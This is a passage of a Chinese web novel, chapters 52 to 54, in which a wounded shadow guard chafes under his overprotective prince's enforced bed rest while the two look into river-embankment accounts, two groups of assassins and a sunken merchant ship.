杨妃藏在被子下的手搓了搓衣角,这种只需要躺着休息什么都不干的日子先让他觉得度秒如年。 他还真是个不能享福的劳碌命。 杨妃的嘴角略微上扬又很快被压了下去。 他这算不算也提前体验了一下退休生活? 顶着稍一转动就关节出声的脖子,杨妃还是努力侧着头看沉迷政务,对公事抱有极大热情的王爷。 那小书童给王爷磨墨的手腕都开始发颤了,王爷却仍在奋笔疾书。 做影卫做到他这个份上也是独一份了,杨妃暗自想着,这回是真的露出一个微笑。 做主子的还在辛勤工作,做影卫的却躺在主子的床上无所事事。 他有一点愧疚,人躺在床上便也不老实,安静却坚持地一点一点动着身体,仔细感受一下身体的每一部分伤势如何。 杨妃认为自己这回伤的不算太重,也就是最初失血又失温显得有些危急,实际上全都是外伤并没有伤及根本。 他闭上眼,驱使着内力流转加快恢复速度。 他还有许多工作没做,王爷现在也未在王府,这里哪能是安寝之地? 需要尽快好起来才行。 武功学的半吊子的王爷当然感受不到杨妃阳奉阴违暗戳戳的努力,他正捏着鼻子写一封表彰当地河道建设的表功折子。 这东西他很不想写,也不相信这些人竟没有一点偷工减料地完成了河道建设。 很不合理。 王爷差不多每写一个字就要停顿一下,心中不情不愿,这份表功折子就也写得干巴巴的。 他想不通啊。 若是杨妃拿回来的那些账本还可以说是河道总督提前做好的假账,可他在河堤上亲眼所见那堤坝确实坚固无比。 影卫们也暗查了当地的农户和原料来源,和账册上写的大差不差,都是朝廷要求的真东西。 为了防止河道总督提前贿赂串好了口供,王爷还狠心让影卫们寻一处僻远又少水的河道悄悄取样查探,对着真的没有偷工减料的建筑说不出话来。 古往今来他就没听说过这种怪事! 上一个全力治水的是谁来着? 还是大禹那会儿吧! 王爷啪的一下把毛笔甩到一旁,瞪着染上墨迹的表功折子,眼不见心为净的合上一并扔到一旁。 这根本不像是四弟的作风啊! 一个能把干掉自己兄弟的重任寄托在女人身上的人怎么可能不在这样一块肥肉上咬上一口? 他不信。 可河堤建筑是跑不了的,那些东西实打实的就在土地上立着,是真家伙还是假把式他也验过了。 事实如此。 王爷有那么一瞬间是怀疑对方在其中做的手脚极其隐蔽没被他们发现,但他马上就打消了这个想法。 他信任自家影卫的实力,真东西有真东西的价格,东西在那里摆着朝廷的拨款自然就用到了实处,要是这一笔钱被贪墨了,哪能凭空变出来一批银子去填补空缺? 王爷平复了心情,比承认河道总督是清官更让他难受的是他那个鼠目寸光的四弟竟还真有一些为国为民的大义。 啧。 他重新拿了一份空白的奏折,真心实意地写了一封表功折子,交给人让他们快马加鞭送回京去。 这回来了一趟一个贪官污吏都没查着,等这封折子到了晋中再带回了陛下的新令,他应该就直接启程回去了。 主要任务已经完成,未解的谜题就剩下那些袭击的刺客们了。 而且还是两波刺客。 王爷的脑子里回忆着影卫们对半路上袭击商队的那一拨人和树林里埋伏的那一拨人装备习性的对比,感慨人生在世还真是树敌颇多。 一波好似有一些军队背景。 一波人富贵的让他心生嫉妒。 王爷磨了磨牙,他捧在掌心里宠爱着的杨妃都没有那样的好装备可用,偏生人家一队人人手一件。 他可是当朝王爷。 不敢说天下首富也得排在前头吧? 他都做不到给影卫这样的待遇,又得是哪里来的极富出手这样阔绰? 以印钱为谋生吗? 王爷嫉妒的头痛,别的暂且不提,顶好的护甲他是真的想要啊。 这一次杨妃身上那些纵横交错的伤痕,哪一道他看了都心疼。 那件战斗结束之后宛若布条一般的衣服也让他揪心不已。 他家杨妃武力超群,若再有一件刀枪不入的护甲,那得是什么样的光景? 王爷不求他以一当百,只求他岁岁平安。 他眼神中闪过一抹后怕,本能的转身目光去搜寻那个让他魂牵梦绕的身影,看着他躺在自己床上发呆又露出一抹微笑。 还真是难为他这样无所事事地躺着了。 王爷的脑海中闪过杨妃平日里总是忙碌的身影,一见他现在这样动弹不得,就更是心疼。 他想到了杨妃最后一次和他汇报工作时说的内容,从桌子上的卷宗里抽出了一卷走到杨妃身边,自顾自地拉过来一个小椅坐下。 “本王的床躺着还习惯?” 王爷脱口而出的开场白一说完,他就想给自己两巴掌。 【死嘴,一天在说些什么东西?】 【这话听上去怎么怪怪的。】 【本王不是不让你继续躺着的意思啊!】 第52章 什……什么? 杨妃不知道王爷这话他该怎么接,无论是王爷嘴上说的容易让人非议的意思还是王爷心里那个他也懂的意思,哪个他都不知道如何回答。 不过好在他有一个万能的借口。 “呃……” 他激动得眼角微微泛红,这辈子还是头一回庆幸自己临时做了个哑巴。 【太好了他现在说不出来话!】 王爷在这方面和杨妃表达了高度重合的默契,他不经意地掠过了这一错误的话题,拿着卷宗在掌心敲了敲。 慎之又慎地在脑子里先错了一遍词,然后才缓缓开口。 “你昏迷的这些天里,之前的事情有了进展。” 王爷展开手里的卷宗,将上面影卫们写着的关于河堤实况的调查逐字逐句的讲给他听。 他甚至贴心地考虑到杨妃现在的身体状况,怕影卫们习以为常的压缩信息量的做法他还没恢复的脑袋反应不过来,特意放慢了语速,适当地翻译了内容。 杨妃:…… 他挺想告诉王爷他只是身体疲惫头晕目眩,但智商还没下降。 可谁叫他现在是个哑巴呢? 当然主子说什么他就乖乖听就是了。 而且这种一躺一坐,一说一听看似平常却颠倒了身份的情景,让杨x妃有一种主子在给他汇报工作进展的感觉,特别的别扭。 王爷事无巨细地将杨妃昏迷的这些天里发生的事情告诉他,丝毫不觉得口干舌燥,反而特别有成就感。 【这世界上没有人比本王更懂得杨妃到底想要什么!】 【因为意外而倍显脆弱的杨妃,只有情报才能让他安心!】 【他听到这些一定高兴极了吧?】 【本王亲自弥补了他这段时间缺失的信息差!】 【别人知道的,本王的杨妃也要知道!】 王爷一边卷着卷宗合上,一边悄咪咪地去看杨妃的表情。 他希望能从杨妃脸上看到一抹笑容,他这个影卫一贯是不爱笑的,装扮成其他人的时候倒是常笑,却又不是他喜欢的样子。 王爷一脸的期待,触及杨妃那张没有明显情绪变化的脸时又失落地移开目光。 【好吧,这个博美人一笑的方法行不通。】 【不过人看上去精神多了,这样也就够了。】 杨妃抿着嘴,虽然情报内容和他预想的相差甚远,无论是河堤竟然像账本写的那样真材实料地建成了,还是两拨刺客属于两个主人,从王爷的角度看都不是个好消息。 但……得知情报本身这件事他还是开心的。 可听见了王爷心声的他哪里还敢笑啊。 而且王爷在那里非常认真的说正事,他一个做属下的躺床上笑难道不奇怪吗? 天啊! 杨妃越想越觉得浑身不得劲,心绪起伏之下身上原本在药物影响下隐隐作痛的伤口存在感越加明显。 他盯着王爷的嘴一开一合,耳朵却没太听他在说些什么。 反正现在他也是开不了口的,人又动不了,甭管他有没有认真听主子的话,都没有办法给予回应。 无能为力的杨妃放弃了一切挣扎,将所有空间留给王爷发挥,而他则沉浸式地练功,一点点恢复内力,只偶尔眨一下眼睛权当作对王爷絮絮叨叨的话的回应。 主子啊,不是他不听命令,而是这张床他真的呆不了一点了! 他要尽快好起来! 马上! 在杨妃的不懈努力之下和王爷不计成本的药物投喂之下,他的伤势好的速度惊人,王爷那封表功的折子还没送到京中陛下的手上中,他就已经在王爷遗憾不舍的目光中能如常人一般下床行走甚至执行日常守卫任务了。 尽管王爷以他需要好好休息静养为由强硬地中断了他所有日常守卫工作也没能让他真的闲下去,他还是避着王爷的视线偷偷地将那些错过的消息一一过目。 没办法,谁叫他是个劳碌命,对所有的事情都上心,又总想着事事都要在自己的预期之内,生怕缺了信息眼盲心瞎。 他又是半度假地干完了一天的工作,把身上那身沾了雨水的衣服脱下拿去烘着,人慢慢坐到床上把自己塞进了被子里伸展四肢长出了一口气。 王爷软和光滑的锦被固然躺着舒服,可他却是个不值钱的,睡不得那样的金银窝,养伤那些天就没有一天能睡好觉。 还是他自己这平平无奇的床睡着舒服。 杨妃闭上眼就有了些困意,这次随行的医师也是个狠人,之前才偷偷练了一个时辰的刀,饶是他很小心没把身上的伤口撑开,也没能逃过那医师优秀的把脉水平。 那小老头当时便气得胡子撅起来,嘴上没说什么,打那之后每天的药里都加了不少安神的东西,还专门针对他这种比较抗药的体质加重了药量。 要不是王爷这段时间天天盯着他喝药,他都不会喝的。 那该死的药喝完之后就像是失忆了似的,每一次醒来都能惊出一身冷汗。 杨妃觉得那种完全没有防备的睡眠又猝不及防的惊醒,和鬼门关里溜达一圈没啥区别。 但他有啥办法呢,谁叫主子都这么说了。 他无奈极了,还是指望身体赶紧好起来吧。 王爷这段时间都把他看得像是瓷人儿似的,真叫人心惊。 至多五天,他应该就能大好了。 怀揣着对正常生活的期望,杨妃在药物加持下沉沉地睡了。 一觉醒来,是熟悉的惊慌感,随之而来的酥软的身子。 “还真是个劳碌命……” 杨妃小声地嘟囔,天天晚上睡得昏天黑地,脚踩在地上都跟棉花似的。 他再不练武一身的功夫都要还给师父了! 被勒令不能训练,他只能窝窝囊囊地在府邸的长廊里走了一圈又一圈,通过快走来活动筋络运动下肌肉,勉勉强强也算是练功了。 这趟出来的公事已经了结,私事还没有什么线索。 杨妃琢磨着返程时的防守安排,心中的忧愁不曾减弱半分。 他们这一路上可实打实地折损了人手,若是回去遭遇伏击,又是一场生死间的血战。 最糟糕的是他们连敌人是谁都摸不清。 他刚能下床时的第一件事就是确认那日林中被围有没有别的线索,更是意料之中的听到了同僚们说他们集结了人马去现场看的时候,除了那些被他们三个带走的东西,整个现场已经被打扫的 看不出一点痕迹了。 对方也是人手不少啊,还有类似军中武器改制的暗器。 杨妃站在廊下,手搭在护栏上目光沉沉,雨水顺着屋檐在长廊中流成雨幕,他的心沉重极了。 虽然没有证据,但他就是有种预感十分肯定那拨人绝不是四皇子的麾下。 要么是外族的暗探,要么…… 是哪个有野心的要造反的队伍。 但不管是哪一个,都别想抢那张属于他家王爷的椅子! 杨妃默不作声地攥紧了护栏,生生在上面留下一个掌印才转身离去。 不管是谁,在已知他们人手折损的前提下,返程路上都是一个绝佳的埋伏地点。 再加上那个妖怪和神器说的那些话本子里必发生的危险情景,回去的路也定然不太平。 希望他能在启程之前恢复巅峰状态。 杨妃默默算了算陛下的圣旨到达这里的时间,觉得有点悬。 要不要想办法让那医师给他开一点猛药呢? 他这边还没琢磨好怎么让医师背着王爷的嘱托给他开药,那边镜中留守的影卫们就已经把关于他们的最新消息千里迢迢地早圣旨一步送来了。 陛下忧心暴雨决堤,勒令王爷在这里待到大雨退去才能返程。 好消息是这下有充足的时间可以给杨妃恢复伤势了。 坏消息是上游河道司日日发来的水位报告上写明了河水逐日增高,可皇帝却让他们一直在这里呆着。 哪怕堤坝是真材实料建的,若真是天灾之下,就真的万无一失吗? 陛下这到底是想做什么? 想说他爱民如子,连自己的儿子都能派到危险的地方去,塑造一个明君的形象吗? 还是说他期盼着真的决堤,让身处下游的他们永远都回不去吗? 他看着桌子上那一卷明黄色的东西,头一次觉得这颜色看了让人心烦。 杨妃忘不了记忆中那奔腾的河水,对河堤的信任约等于无,他忧心忡忡地看着王爷,很想张口劝他继续上折子请求归京。 王爷却一点不慌,很是平静的让其他人暂停返程的准备,又继续安排旁的影卫调查那两拨不明袭击人士。 王爷将手上的事儿忙完了,就看见自己那本就因受伤显得脸色发白的影卫这会儿更是白得吓人,蹙着眉,神色怪怪的。 嗯?这是怎么了? 王爷愣了一下,仔细思考了一下又觉得有点好笑。 “怎么?想家了?” ??? 杨妃担忧的心情因为这个戛然而止,他马上又拿出了自己那一张面无表情的脸,连说话的声音都板着,“属下没有。” 王爷在开什么玩笑。 他一个铁血铮铮的汉子,被捅个对穿都不再吭一声的影卫,这辈子就没有过想家的情绪! “没有就好,此时不能回去也是件好事,刚好有充足的时间可以调查一下我们的敌人到底是什么人物。” “而且本王觉得,既然在这个地方能碰上两拨不同从属的人,就说明这个地方有大秘密。” “不将这个秘密挖出来,本王就算回了京,也得时时刻刻惦记着寝食难安。” 王爷语气平静地解释着,杨妃听着,也觉得王爷说的有道理。 果然,主子就是主子,想的就是周到啊。 他家王爷专注思考正事的时候真是亮的晃眼。 他觉得此刻从容镇定的王爷身上散发着皇帝一般的光芒,自信感油然而生,当即单膝跪在王爷身旁表忠心。 “主子放心,属下定竭尽所x能为主子扫平一切障碍!属下的身体已然好全了,一定会让那些所有胆敢挡主子路的人死无葬身之地!” 杨妃说这话时心跳加心跳加速热血沸热血沸腾,他说完了又抬起头,目光灼灼地看着王爷,脸颊都因为激动而带上了血色。 瞧着又健康起来了。 王爷就喜欢他这个样子,一时间竟看得呆住了。 【杨妃还是现在好啊……】 王爷在心中喃呢。 【本王爱极了他这生动鲜活的目光,这辈子也不想再见到他躺在床上无知无觉的样子了。】 【至于旁的都不重要了。】 【能为本王扫清障碍本王虽也开心,但一想到他很可能因此受伤,就不愿意了。】 王爷看着杨妃,那时守着他的心痛还未完全散去,他站起来在杨妃身边弯腰,单手抓着他胳膊扶他起来,抬起手本想拍拍他肩膀,又想到他肩膀那时有伤,便垂下了手。 “你的心意,本王知晓,只是你新伤未愈,且养着吧。” 【你只需要在这里等着,等着看本王是怎么给你复仇的。】 第53章 王爷心中有万千句话想对杨妃说,他看着杨妃因为激动有些微微发红的脸颊还不知道为什么有些发红的眼角,由内而外地升起一股满足感。 瞧瞧这个带着些血色和活气的人,那可是他一点点从苍白虚弱中补出来的! 王爷越瞧越觉得满意,但也注意到了杨妃额角渗出的细微冷汗,眉头瞬间皱了起来。 “本王不是说了让你好好休息,万事不用操心吗?” “这次急匆匆的赶过来是不是偷偷动用了武功,动作间如此不小心,重新牵扯到了伤口可怎生是好?” 王爷越想越气,语气中也带着两丝责怪,要看着杨妃有些茫然不知所措的眼神,手速极快地阻挡了他要下跪请罪的动作,更生气了。 【这家伙真是一个油盐不进的死木疙瘩,他到底知不知道本王有多担心他——】 王爷脸上没写出几分愤怒来,可心里却炸开了锅。 杨妃也觉得挺委屈,他身为王爷的心腹,自然事事为王爷考虑,万氏为王爷忧心。 乍一下听到了京中有这样的命令,他甚至都没来得及多想什么,一想到可能出现的严重后果就已经先慌了三分,着急找到王爷都已经成了他本能。 他没觉得自己这样做有什么不对,这会儿糟了王爷的指责,也没打算给自己辩解只想着请罪,哪里知道又惹了王爷生了大气了。 杨妃觉得王爷只是被他之前那一副凄惨的样子吓到了,恐怕心里已经将他当成了什么易碎的瓷娃娃,完全忘记他身为影卫之首,受些伤乃是常事。 而且内力加持之下他的恢复力也远超常人,现在虽然身上的伤还没大好,却也早早的愈合结痂了。 只是匆匆忙忙地赶到王爷的书房罢了,连肌肉都没活动两分,哪里会牵扯到伤口呢? 而且他这几天好吃好喝的休着躺着,不光骨头发硬了,连体重都虚长了二两。 若再按王爷的要求一直躺到完全恢复,这些年苦练的身手都得弱上一分。 还不如直接要了他的命! 杨妃辩解的话有千言万句,嘴唇颤动了两下,被王爷急迫的关心弄得有点不知所措,感受着王爷用力抓紧他胳膊的手,温顺地垂头眨了眨眼睛。 不管了,反正认错总是没错的。 “属下谨遵主子教诲。” 他还是老老实实顺着主子的话说吧,免得又刺激到了他敏感的神经。 王爷和杨妃站在一处,个头比他还要稍矮一些,可这会儿他的影卫深低着头只露个发顶给他看,又乖乖地应着他的话,倒显着多了两分可怜。 王爷哪里受得了这个,当下火气就去了大半,又开始后悔刚才冲动之下说了呵斥的话。 都赖杨妃总做那些让他担忧的事。 王爷心虚地甩锅,心中只剩下了对杨妃身体的担忧。 “罢了罢了。” 他松开了抓着他胳膊的手,背过身装作什么都没发生地重新走到桌案前坐下,拿起了他早都看过了的公文重新又看了起来,“既然没事了你就继续去休息吧。” “疗伤的事多上些心,本王还等着你伤好守在身侧。” 【这家伙什么时候能对自己多上些心?】 【伤的那样重还到处乱跑,别以为本王不知道他阳奉阴违满宅子溜达。】 【哼。】 【还不是本王心疼他平日里呆着太闲了,想着让他到处走走放松下心情,要不然就直接把他锁床上好好养伤了。】 【结果现在反倒成天又有操不完的心。】 王爷公文上的字那是一个都没看进去,满脑子想的都是怎么能让杨妃乖乖听话养伤。 从前他只觉得自家影卫处处都为自己着想事事都留心很满足,却也没想到杨妃自己整日都昏昏沉沉的了,可一涉及到他的事情却还如此关注。 【要不然让医师加大安神汤药的用量好了。】 低着头的杨妃只一个恍神的功夫没来得及回应王爷的话从书房离开,王爷的心声却语速极快的一连串传到他的耳朵里,让他的脑子瞬间清醒无比。 他家王爷行事向来光明磊落,怎么竟然学会了下药了! 杨妃大为震惊,也不想像个废人似地无知无觉地在床上躺着,当即出声,语气都带着惊恐的上扬尾音。 “属下告退!” 他这声音委实不小,沉浸在自己思绪中,觉得自己妙招频出的王爷被他这突然来的一声吓了一跳,手中的公文险些都没落在地上。 “嗯。” 王爷挥了挥手,就见杨妃步履匆匆地消失在了他视线之中,眉头又紧紧的皱着。 又来、又来! 才刚说了让他顾及身体好好休息,行动又这样大跨步地走,连自己腿上有伤都不知道吗? 王爷的脑海中瞬间闪现了那两条被血迹浸透几乎看不出肤色,只留下一条条不停渗血的伤疤的腿,连头都开始疼了起来。 “真是欠收拾……” 他就应该行使主子的权利,直接把他锁床上,锁的他不能动弹,才能叫他乖乖地躺着疗伤。 王爷喃喃地小声说出了这样一句话,语气轻到除了他之外没有第二个人听见。 杨妃还不知道他给自己埋下了怎样一个坑,火烧屁股似地从王爷那里逃走,又被停了所有工作漫无目的地闲逛,瞧着那些队伍里的人忙来忙去眼神中闪过一丝羡慕。 他也很想为王爷分忧啊! 他也有能力啊! 杨妃心中碎碎念,拖着沉重的步子极慢地回了自己的屋,小桌上放着的药还冒着热气,旁边外伤的药也换了一瓶新的。 王爷怕不是把这次队伍里带来的所有药材都用尽了。 被如此关心的杨妃说不感动那是假的,可王爷越是如此他越想马上为王爷办事。 外头还有身份不明的敌人虎视眈眈,他怎么能睡得着呢? 根本休息不了! 杨妃将苦苦的药汁一饮而尽,拿过了新的药瓶解下衣服涂在每一道伤口上。 这些都是顶好的东西,加上他内力的辅助,说不定比预计的恢复时间还能再短一些。 之前书房里那一回到底还是让王爷心中不快,打那之后杨妃连刚开始养伤时时不时还能见见同僚去听些新消息都不行了。 王爷直接下令让他们到杨妃的屋里汇报,还严格地限制了时辰。 之前那种绕着宅子走一圈又一圈钻空子锻炼的方式更是被直接禁止,王爷直接发话说什么时候杨妃腿上的结痂完全掉了,什么时候才学他走路锻炼。 王爷倒也没派人守着他不许踏出房门,只是安排了几个侍卫准备了小轿,说杨妃若是想寻他可以直接上了轿子,不必劳动双腿。 天知道杨妃打开门的时候看着门口那顶轿子和两个魁梧的侍卫时是什么心情。 就这阵仗他哪里还敢出门啊! 门口的场景已然成了杨妃的心理阴影,他哐的一声将门关上时甚至用上了内力,将门上的木条都震得起了边儿。 于是在王爷不管不顾的严防死守之下,杨妃被迫歇了一切需要动用体力的活动,每天也就盘在床上打坐,盼星星盼月亮地等着到了王爷规定的时间。 等着他的同僚们给他带来并不新鲜的今日消息。 这样的生活生生将杨妃逼得天天叹气。 这哪里是影卫的生活啊! 连王爷每天都没他这样惬意吧! 杨x妃听着门外那两个侍卫的呼吸,对王爷连抬轿子的侍卫都要换班值守的行为无可奈何。 王爷认准一件事情之后谁有的是耐心和决心的。 如果不用在他身上就更好了。 杨妃的心情复杂极了,盯着门口的眼神望眼欲穿。 他从来没有像现在这样渴望见到那些随时随地准备干掉他上位的同僚。 谁让他实在无聊透顶呢? 他还维持着在床上打坐修行的姿势,思绪却飘的很远。 他在回忆之前那几天同僚们给他带来的消息,并且动脑推算着今天会有什么样的新结果。 雨一直下到现在都没有停过,上游的河道司早已发出了水位预警,抗洪的沙袋也早就开始准备,保持间隔堆在河道随时准备应用。 而他们现在就处在河流下游,更是时时有人监测水文变化。 杨妃听着窗外淅淅沥沥的雨声,深深地叹了一口气。 王爷也是个犟种,说什么都不肯离开这里。 他说河道总督全家都在这里不曾离开,他这个皇子怎能因为还未发生的恶事就早早离去避难。 杨妃承认王爷说的有两分道理,但君子不立危墙之下,王爷万金之躯更不必受这样的风险。 将一身安危系于堤坝之上,简直儿戏! 杨妃一想起这事,气得又运转了几圈内力。 不过好在这些天也有点好消息,不算他们白停在这里。 之前调查商队的影卫们偷偷混进一条商船,在那艘船沉的地方下了水,顶着湍急的水流凭着提前准备好的气囊去查探了那艘沉船。 结果发现那艘沉船果然是被他们搜查的动作所惊,是人为沉默的。 除此之外他们还发现那艘沉船的货舱中用来分层的木板极薄,根本都不能承重。 而且还是可拆卸的。 这却有两份稀奇。 商船来来往往运的货物种类繁多,每一次运输的重量都不轻,若是用那种薄薄的木板,只怕放上去都能压穿压折,再加上能随时拆卸,就更显不同寻常。 据那队商队所说,他们的货物是能放上去的,只是不小心损坏了一点木板罢了。 杨妃虽还没拿到实质证据,但他本能地猜测那层极薄的木板之下定然藏着商队真正的秘密。 这个秘密很重要。 重要到对方能不惜一切代价也要灭口。 哪怕那个商队根本没看见。 杨妃想到这又叹了口气,起身拿起桌上的茶壶也不倒在杯子里,干脆直接倒在嘴里咕噜咕噜地喝了个痛快。 他这一个人待在屋子里呆的实在无聊,已经叹气叹到口干舌燥了。 撂下茶壶重新坐下,无所事事的杨妃干脆把暗格里那些用了半瓶的伤药全都拿出来,倒在手上给浑身上下的伤疤重新又涂了一遍。 每每这个时候他都要庆幸王爷现在很有事业心,不再是那个每天只想着怎么和他增加接触时间的奇怪王爷了。 不然他上药的时候肯定要被王爷盯着看的,心里也指不定说些什么多过分又奇怪的话给他听呢。 杨妃涂着涂着又打了个哆嗦。 他不是被这冰冷的药膏激的,而是他忽然想到若是王爷此刻在这里,说不定我一咬牙直接抢过他手里的药膏,嘴上说着类似后背的伤疤他看不见一般的借口,直接借机和他亲密接触一番。 太可怕了。 他这次伤受的可真值。 杨妃加快了上药的速度,把衣服重新左一件右一件的套在身上才觉得安心。 要是早知道一次受伤就能让王爷把心思都放在正事上,他早都办了,哪里还用拖到这个时候。 千金难买早知道啊。 杨妃感慨。 可一想到那些死的尸骨无存的同僚便神色黯淡,又叹了口气。 他们做影卫这一行的。 死无葬身之地已然成了常事。 他没死也只不过因为幸运罢了。 杨妃攥紧了拳,内力涌动吹动了他的发丝。 无论是为了王爷的安危还是给自己和死去的影卫报仇,他都得将幕后的人揪出来。 而这一切的前提则是要好好疗伤。 其实以他的标准来看他现在已经完全好透了,就是用轻功飞来飞去都感觉不到一丝异样。 可王爷不这么想。 杨妃还记得昨天晚上他满怀期待地求见王爷想和他说自己已然恢复可以守卫在王爷左右,为此他还忍着羞耻和不适今生第一次做了轿子,在所有人的目光中以手遮面,一路去了王爷的书房。 到了书房王爷却不信他说的话,非要看他伤口。 他没办法,只能将门关上,不愿意在王爷面前脱衣便从下一点点卷起裤子,露出连结痂都掉的差不多的腿。 王爷瞧着他白皙又强壮的腿,心中倒还真的没有一点起疑的念头,只看着那一道道白中带着微粉的伤痕,只有心疼。 【那日他气息奄奄,赤身裸体地躺在本王的床上,本王只瞧着他身上满是血迹,像是从血池里捞出来似的。】 【等稍微处理了些伤口,又看着他身上那些颜色不一,在不同时间有被不同武器留下的伤疤。】 【已经足以叫本王心痛。】 【今日还是第一次瞧见这些疤痕是怎么来的。】 【心中更是怜惜。】 王爷当时就那么不寸眼珠子盯着他的腿看,要不是杨妃能听见他的心声,估计都已经跑了。 杨妃当时听着是有些感动的,他能感受到王爷爱重他的生命更胜过拥有他本人。 如果接下来王爷没有弯下腰伸出手指颤巍巍的去摸他那些刚好的伤疤,他会更感动。 杨妃回忆着,王爷指尖的温度荷塘是伤疤传来的细微痒意好像还停留在他身上。 “哎。” 他叹了今天不知道多少次叹的气,每每想起来都要后悔当时自己为什么没忍住颤了一下腿。 王爷感受到他打哆嗦的同时像个受惊的兔子一样直接蹦了起来,说什么都不敢相信他好了,只按照自己的思路以为他在强撑,黑着脸将他赶回去继续休养。 还说什么时候所有的疤痕都好了才算。 杨妃隔着衣服按在那些结痂上,按着按着就揉了起来,揉着揉着力气就越来越大。 本就结好了的疤随着他强大的恢复能力已经有了一点脱离身体的苗子,加上他人为辅助,这会儿更是一点点地被织物刮带了下来。 杨妃感受着觉得应当差不多了,就又将裤子脱下来抖了抖,瞧着重新光滑下去的皮肤,心中有点得意。 他倒要看看明天王爷还能想出什么借口继续将他关着。 这清闲的日子他受不了一点了! 同僚们天天向他汇报更是让他觉得怪怪的。 虽然说从前同僚们也会向他汇报工作进展,但这种一个在床上坐着一个在下面站着的情景…… 令人不适。 尤其是那些臭小子们进了他的屋眼睛毫不遮掩的乱瞟,目光主要落在那些被他用空了的药瓶子上,眼神中的意味让他做贼心虚。 哪怕那些同僚们没往他和主子之间有不正当关系上面想,只觉得受到主子重用被主子当做心腹的影卫原来有这样的好待遇,一个个更加坚定了又争又抢向上爬的心思。 也架不住杨妃自己心里有鬼,总担心他们是不是从这种特殊对待中嗅到了些不一样的气味。 这导致他天天即期待同僚们给他带来消息让他不至于与王府的事物脱节,又觉得每一次汇报的时间都令他如坐针毡。 也可以说很受折磨了。 杨妃有的时候觉得自己是那些话本子中所说的被囚禁的金丝雀,天天什么事情都干不了,只能等着主人家什么时候得空闲了来逗逗趣。 反正他是过不了这样的日子了。 杨妃坐在床上伸手将自己浑身上下都摸了个遍,确定没有一块结痂还在身上能过了王爷的检查才松了口气。 他现在应当已经符合王爷心中的痊愈标准。 他出不去屋,就站在自己屋子的空地上简单活动着四肢,尤其拽着胳膊感受着自己受伤最重的肩膀。 王爷的好药药效还真的不错,这样的伤势相对于这样短的时间活动起来已经没有任何酸痛感,只有一点点因为缺乏锻炼导致的干涩。 问题不大。 杨妃估量着自己的武功,设置了一套强度大恢复快的训练方案,只待明天得了王爷的应允让他回归影卫们正常的生活,就开始增进武艺。 那些个小子们眼中奋进的火光都快灼伤他了,他心中如何能不焦急? 待他重新回归工作岗位…… 杨妃有迎接挑战的心,更有跃跃欲试的热血。 只差王爷点头了。 王爷应该不会让他脱光了衣x服给他检查看身上的伤疤吧? 第54章 杨妃脑补了一下那场景,所剩无几的羞耻心死灰复燃,他不由得伸手抓住自己的衣领干咽了口唾沫。 不知道为什么。 他总觉得王爷干得出来那种事儿。 要不然明天先去把医生抓住带着他一起去面见王爷吧。 至少有别人在的时候王爷总是正经的、收敛的,他还能多点安全感。 嗯,就这么办。 伸手将自己抓住的衣领重新抹平,他又把那些用空了的药瓶全都藏起来免得待会来汇报的同僚露出那种艳羡的眼神盯着他瞧。 天知道杨妃每次被那种眼神看到的时候有多想揪住他们的衣领在他们耳边大声咆哮。 这种福气不是他想要的那种福气啊—— 他们做影卫的可消受不起这个! 真是不知者不畏。 杨妃羡慕他们什么都不知道,又庆幸自己什么都知道有机会将主子从错误的道路上挽救出来。 更幸运的是他现在的努力已经稍见成效。 他觉得王爷现在对他已经不像从前那样执着了。 除了过分关心。 杨妃的嘴角露出一抹浅淡的微笑,耳朵动了动,又迅速将微笑压了下去换上了一副严肃的模样,同时恢复了打坐的样子。 他才装模作样地闭上眼,门口就传来了有规律的敲门声,不等他说话,一个身影就带着动静跨过了门槛毫不见外地直接关上门坐到他身侧。 “妃哥哥——” 朱柿叽叽喳喳地从衣襟里掏出两个还冒着热气的肉饼子,得意地在杨妃鼻子下面晃了晃,还非常惹人嫌地伸手扇了扇,吹着香味往杨妃的脸上喷。 “怎么样,香不香?” 他也不等杨妃回答,张嘴一口狠狠地咬了下去,一边嚼着还一边发出嗯嗯的满足声,摇头晃脑的好生气人。 杨妃闭着眼感官异常敏锐,香气和声音攻击着他的感知,搭配着朱柿生动的表演,他的喉结条件反射似的动了动。 要不是身为老大的尊严在这里顶着,他还说不定真的吞了口水了。 这臭小子也忒气人了。 杨妃深知他这故意炫耀挑衅的秉性,很不想睁眼看他,却不曾想这家伙越发的过分,脑袋都快挨着他了。 只恨不得在他耳朵边咀嚼。 他的耳朵就这样感受着朱柿呼出来的风躲避似的动了动,随后耳廓就传来了湿润温热的触感。 欺人太甚! 这家伙真是看他被王爷下了禁令不许动武太久没被他教训直接飘了。 单单挑衅也就算了,现在竟然变本加厉地胆敢将油脂蹭在他耳朵上! 看来他是皮痒了! 等他明天解了王爷的禁令第一个就要把朱柿吊在房梁上狠狠地抽他屁股。 杨妃越忍越气磨了磨牙,睁眼时表情依旧是平静的,可目光中潜藏的杀意却仍让朱柿打了个寒颤,一口没嚼完直接吞了下去,将自己噎得抻着脖子反复顺着喉结。 “呵。” 他冷哼了一声,就坐在那里好整以暇地看着朱柿把自己憋得从脸一直红到脖子根,才勉强将食物咽下去没让自己被噎死。 活该。 谁叫他在一个被严令清淡饮食、每天除了又苦又酸的药汁子外几乎尝不出什么味儿的人身边吃香的喝辣的呢? 他们可是能相互交托生死的同僚,当然得同甘共苦。 杨妃微抬下巴,瞧着朱柿夺过桌子上的茶壶就要往嘴里倒缓解,结果他拎着茶壶抖了又抖,那里面都没能漏出一滴茶水。 嘻嘻。 不嘲笑他是杨妃能留给朱柿最后的体面。 “咳咳。”他理直气壮地对着朱柿控诉的目光,干咳了两声打断他很有可能出口的话,“时间紧迫,主子每日才留那么点时间,你休要浪费。” “免得坏了主子的命令,还得劳累我去抽你的鞭子。” “你——” 朱柿被他这种毫无同理心的话震惊到了,伸手指着他嘴唇颤了颤像是要骂些什么,可又看见杨妃抬手用帕子蹭着耳朵便又心虚地移开了目光,放下了手,只当做刚才什么都没发生。 “哦……催什么?我心里有数呢。”他嘴硬地嘟囔了一句,在杨妃凌厉的目光中声音越来越小,而后才收起了玩乐的表情。 “今日可有了大发现。”朱柿在胸襟里的暗格掏了掏,掏出了几张写的满满的纸递到杨妃手里,语气严肃又凝重,目光上下扫过杨妃的身体,眼中闪过一丝担忧。 “你的伤好的怎么样了?” 他问出了这样一句在杨妃看来有点跑题的话。 “已经好全了。”杨妃诚实地说,“明日我便向王爷请命,重新恢复职责。” “那就好。”朱柿紧绷的肩膀放松了一些,开始滔滔不绝地给他讲他们今天到底有什么样惊天动地的大发现。 “你还记得你从河道总督府上偷出来的账本子吗?” 